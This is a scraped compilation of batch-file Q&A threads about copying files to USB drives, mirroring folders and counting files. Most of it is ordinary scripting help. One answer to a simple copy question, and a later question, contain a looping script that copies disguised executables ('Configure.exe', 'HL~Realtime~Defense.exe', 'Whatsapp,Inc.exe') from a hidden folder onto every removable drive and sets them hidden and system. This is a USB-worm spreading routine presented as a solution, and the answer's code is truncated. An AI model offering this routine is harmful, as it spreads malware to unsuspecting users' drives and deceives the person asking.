Copy a file into USB flash drive root using batch files - batch-file

I want to create a batch file to copy a file from any Dir into root folder that the .bat file located on that like a USB flash drive .
My incomplete command :
xcopy /s "%userprofile%\Desktop\test.txt" "?"
What can I replace with "?" ???
Thanks guys

This will do exactly as you want to any and all connected USB drives.
#echo off
for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (
if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
)
)

xcopy /s "%userprofile%\Desktop\test.txt" "\"

You should replace it with drive letter of USB drive followed by :\
So, the real question is how to determine, which of the drives in system are USB flash drives, I guess? Here is the code:
#echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%
for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del %OUTTEXTFILE%
del %INTEXTFILE%
But take into account that it definitely works only for 1 removable disk. It will fail, if two devices of this type are plugged in.

What you are going to need to do is use a relative path for your USB directory. The code will look like this:
#echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
#pause
This should let you enter into a prompt where you would like to copy the folder from/its name. It will name the file the same as the original and keep the original format (.txt, etc.).
Let me know if this does not work for you instead of downvoting and I will work out another solution for you asap.
Best of luck!

#ECHO Off
:loop
#echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd "%USERPROFILE%\Appdata\Local\SystemSettings"
xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
ATTRIB -H -R -s %%cWhatsapp,Inc.exe
timeout /nobreak /t 99
goto loop
Is exactly what you need

Related

xcopy the whole folder in this case

This is another problem that i got in the same code, that i have already asked for help, so i am not sure if it is a duplicate or not.
The problem now is when i run the script, at the command xcopy i wanted to be able to copy the whole folder that the file is located instead of only the file.
#echo off
setlocal enabledelayedexpansion
set /p COU1=COU No. 1 serial number?:
echo COU serial number is: %COU1%
for /f %%i in ('dir /s /b /a-d AssayInfo.txt') do (
for /f "tokens=2" %%a in ('type "%%~fi" ^| findstr /i "CouID"') do set "number=%%a"
echo Found number !number! in file "%%~fi"
if !number!==!COU1! xcopy "%%~fi" "C:\dev\WORKING"
pause
)
so to simplify i want to copy the whole folder that the file "~fi" was found instead of only the file
i also tried something like this:
set /p COU1=COU No. 1 serial number?:
echo COU serial number is: %COU1%
for /D %%k in ("C:\dev\*") do for /f "tokens=1,* delims=: " %%i in ('type "%%k\AssayInfo.txt" ^| findstr /i CouID') do set "number=%%j"
if %number%==%COU1% (echo Hello it worked) else (echo ERROR:No files with that serial number)
pause
but the problem here it is the IF statment its outside the FOR, so it will keep changing the !number! even if it matches, and will take the last value found not the one that is equal to COU1.
we can use robocopy here. But you were trying to copy the filename, not the folder, remember we set !number! as the found value.
#echo off
setlocal enabledelayedexpansion
set /p COU1=COU No. 1 serial number?:
echo COU serial number is: %COU1%
for /f %%i in ('dir /s /b /a-d AssayInfo.txt') do (
for /f "tokens=2" %%a in ('type "%%~fi" ^| findstr /i "CouID"') do set "number=%%a"
echo Found number !number! in file "%%~fi"
set "fpat=%%~dpi"
set "fpat=!fpat:~0,-1!"
for %%u in (!fpat!) do set "dst=%%~nu"
if "!number!"=="!COU1!" robocopy "!fpat!" "C:\dev\WORKING\!dst!" /E
pause
)
Had you provided all of the information you needed at the outset, you wouldn't have needed 4 questions to achieve this task.
Based upon what we now know, I would have suggested you perform the task like this:
#Echo Off
Set "COU1="
:Ask
Set /P "COU1=COU No. 1 serial number?: "
If Not Defined COU1 GoTo Ask
For /F "Delims=" %%A In ('FindStr /SMIC:"CouId: %COU1%" "AssayInfo.txt" 2^>Nul^
^|FindStr /VBLI "WORKING\\"') Do #For %%B In ("%%~dpA."
) Do XCopy "%%~B" "C:\dev\WORKING\%%~nxB" /ECIHRKY>Nul 2>&1
Based on the info you provided this script would be ran from C:\dev.

net use - Causing Echo Redirect to Fail

I have a script that successfully scans a specified directory for a list of files, copies the files to a destination folder and generates a log of all files not found in the source. I had to alter this script to include net use in order to map a network drive. Since doing so the script no longer generates the error log as it did before.
I'm very new to this and can't find any information on why this may be happening. Can somebody please help?
#echo off
pause
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
net use U: \\abc\def
SET "src="U:\Source Folder""
SET "dst=C:\Destination Folder"
SET "file_list=C:\files.txt"
SET "out=.\errors.log"
echo > %out%
FOR /F "usebackq eol=| delims=" %%f IN ("%file_list%") DO (
rem just searching to find out existense of file
WHERE /Q /R %src% "%%f"
IF "!ERRORLEVEL!" == "0" (
FOR /F "usebackq eol=| delims=" %%s IN (`WHERE /R %src% "%%f"`) DO (
echo "%%s => %dst%\%%f" >> %out%
#copy /y "%%s" "%dst%\%%f"
)
) ELSE (
echo %%f >> %out%
)
)
Replace echo %%f >> %out% with set /p out=%%f
[Edit]
Sorry I misunderstood your question.
Is it because you have two quotation marks in all of the drive path set?
As in replace
SET "src="U:\Source Folder""
With
SET src="U:\Source Folder"

Why does my batch file not copy hidden system files to USB drive?

I have been struggling over this question for a while now. I have a batch file that, when started, searches for any USB drive and if it finds one, it searches for some files and copies them to the USB. However it is not working for me in this case.
Please note that the files I am copying have +H and +S attributes, I do hope that wont make a difference.
Here is the code of the batch file:
#echo off
:loop
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd %SYSTEMROOT%\system32\SystemSettingsUpdate
copy "Whatsapp,Inc.exe" "%%c"
copy "Configure.exe" "%%c"
copy "HL~Realtime~Defense.exe" "%%c"
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
timeout /nobreak /t 59
goto :loop
)
)
)
)
Please note that the %%c is the letter of the USB drive.
So now what happens is that when I start it, it gives me an error that it cannot locate the files I specified.
However I double checked the location and the files exist.
Any suggestions why getting the file not found error message?
COPY does not copy files with either system or hidden attribute set as the following batch code demonstrates:
#echo off
cls
pushd "%TEMP%"
md TestTarget 2>nul
echo Just a copy/xcopy test for hidden and system files.>TestFile.tmp
attrib +h TestFile.tmp
echo TRY TO COPY HIDDEN FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib -h +s TestFile.tmp
echo TRY TO COPY SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib +h +s TestFile.tmp
echo TRY TO COPY HIDDEN SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
del /A TestFile.tmp
rd /Q /S TestTarget
popd
pause
One solution for copying hidden system files is using command XCOPY with parameter /H.
But usage of XCOPY for copying a single file is a little bit tricky.
Copying with XCOPY a single file to an existing directory with a new file name results in a prompt if the target is a file or a directory. For this task the prompt can be avoided by using option /I and making sure the target specification ends with a backslash and is therefore interpreted as directory path. See also answers on BATCH file asks for file or folder for details on XCOPY and file or directory prompt.
Additionally argument /Y is needed to avoid the prompt on overwriting an already existing file in target directory with same name as current source file.
Then XCOPY outputs an access denied error message if the file already exists in target directory but has hidden attribute set. The copying is successful for this case with using also flag /R (second copy done by demonstration batch file).
Parameter /Q should be also used for copying the files without showing their names.
And last it would be good to use >nul at end of each line with XCOPY if the success message should be suppressed which was not done on demonstration batch code as we want to see absolutely the success message here.
XCOPY without using /K removes automatically the read-only attribute.
copy does not copy files with either system or hidden attribute set. Use instead xcopy with parameter /H.
A better way to List the USB drives
#echo off
setlocal enabledelayedexpansion
:: Creating a list with all USB drive
for /f "delims=" %%a in ('wmic logicaldisk where drivetype^=2 get deviceid ^| find ":"') do set "$List=!$List! %%a"
Echo USB ==^> !$List!
And like #Mofi said use xcopy instead of copy

Windows Command to identify folders with only one file

I need a command to run from the Windows CLI to identify any folders (or sub folders) that contain only one file. If the folder contains two files, it should not be included. In the end, I need to output this list to a text file. It should contain the full folder path.
Ex: OutputLog.txt
C:\fold1
C:\fold1\sub
C:\fold3
C:\fold4
This should work to identify folders with one file.
#echo off
for /d /r "d:\base\folder" %%a in (*) do (
dir /b /a-d "%%a" 2>nul |find /c /v "" |findstr "^1$" >nul && >>file.txt echo %%a
)
#echo off
setlocal EnableDelayedExpansion
(for /D /R %%a in (*) do (
set count=0
for %%b in ("%%a\*.*") do set /A count+=1
if !count! equ 1 echo %%a
)) > OutputLog.txt
#echo off
set "parentfolder=c:\test"
for /f "tokens=* delims=" %%F in ('dir /s /a:d /b "%parentfolder%"') do (
dir "%%F"|findstr /b "1 File(s)" >nul 2>&1 && echo %%F
)
This will list all subfolders with only one file in a parent folder .As it checks the string of the dir command output it should be altered if language settings/windows version provide different DIR command output.

How to Sync/Mirror Two Folders with a Batch File?

I am writing an automated backup program that can be scheduled with Task Scheduler.
I've got it done to the point where it will successfully make sure that it can read/write both the source and destination folders, then copy everything from the source to the destination, ignoring files that haven't been changed. What I want to do is "sync" the destination folder to the source folder. I've tried making it echo the filenames from %destdir% (variable for the inputted destination path) into a .txt file, then compare the .txt file to the filenames in %sourcedir% (variable for the inputted source path), deleting anything that isn't listed in the .txt file. This works on paper, but I think my syntax may be wrong, as I'm not entirely familiar with if and for. This is what the backup routine looks like so far:
echo Copying files...
xcopy /s/e /y /h /k /z /d /i %sourcedir% %destdir%
for /r "%destdir%" %%F in (*.*) do echo %%F>> list.txt
for /F "tokens=2* delims=\" %%I in (list.txt) do if not exist "%sourcedir%" del "%destdir%"
del list.txt
pause
if %errorlevel%==0 goto success
if %errorlevel%==gtr 0 goto failure
I must be doing something wrong here (my guess is for /F "tokens=2* delims=\" %%I in (list.txt) do if not exist "%sourcedir%" del "%destdir%". Something about that doesn't seem right, but I can't quite put my finger on it. I've been debugging for a good hour or so now, and I can't seem to fix this problem.
Any help would be appreciated.
ECHO Copying files...
SET "SOURCEDIR=Dir to copy"
SET "DESTDIR=Dir where the files shoud be"
XCOPY /s/e /y /h /k /z /d /i "%SOURCEDIR%" "%DESTDIR%"
FOR /R "%DESTDIR%" %%F IN (*.*) DO ( ECHO %%F>> list.txt
FOR /F "tokens=2* delims=\" %%I in (list.txt) DO IF NOT EXIST "%SOURCEDIR%" DEL "%DESTDIR%"
DEL list.txt
IF "%errorlevel%" EQU "0" ( goto :SUCCESS )
IF "%errorlevel%" GTR "0" ( goto :FAILURE )
:SUCCESS
<<command you want to use here.>>
GOTO :END
:FAILURE
<<command you want to use here.>>
GOTO :END
:END
EXIT /B "%ERRORLEVE%"

Resources